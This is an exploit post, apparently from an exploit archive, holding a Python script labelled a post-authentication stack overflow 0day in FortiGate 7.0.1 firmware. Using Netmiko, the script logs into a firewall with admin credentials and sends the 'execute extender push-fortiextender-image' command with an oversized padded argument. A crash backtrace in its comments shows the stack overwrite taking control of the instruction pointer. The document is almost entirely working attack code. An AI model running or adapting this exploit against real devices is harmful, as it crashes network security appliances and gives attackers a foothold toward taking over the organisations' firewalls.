Fortigate 7.0.1 Stack Overflow Exploit

c@ubuntu:~/LABS$ cat fp17.py
#!/usr/bin/env python3
# fortigate 7.0.1 postauth stack overflow 0day
#
# more:
#   https://code610.blogspot.com/2023/04/fuzzing-fortigate-7.html
#
# Pid: 00243, application: newcli,
# Firmware: FortiGate-VM64 v7.0.1,build0157b0157,210714 (GA) (Release),
# Signal 6 received, Backtrace:
# [0x7f498e5f16f0] [0x7f498e5f2d47] [0x7f498e633f47] [0x7f498e6c2c9e]
# [0x7f498e6c2c62] [0x01f10f4d] [0x4343434342424242]
#
#
 
from netmiko import Netmiko
 
login = 'admin'
passwd = 'admin'
target = '192.168.56.222'
 
fw_01 = {
        'host' : target,
        'username' : login,
        'password' : passwd,
        'device_type' : 'fortinet'
}
 
print("> connecting to the target: %s" % target)
net_connect = Netmiko(**fw_01)
# print( net_connect.find_prompt() )
 
payload = 'execute extender push-fortiextender-image '
payload += 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD' + 'F'*300 + ' asd'
 
command = payload
 
full_config_cmd = net_connect.send_command( command )
print(full_config_cmd)
 
print("done")
 
#  0day.today [2023-05-29]  #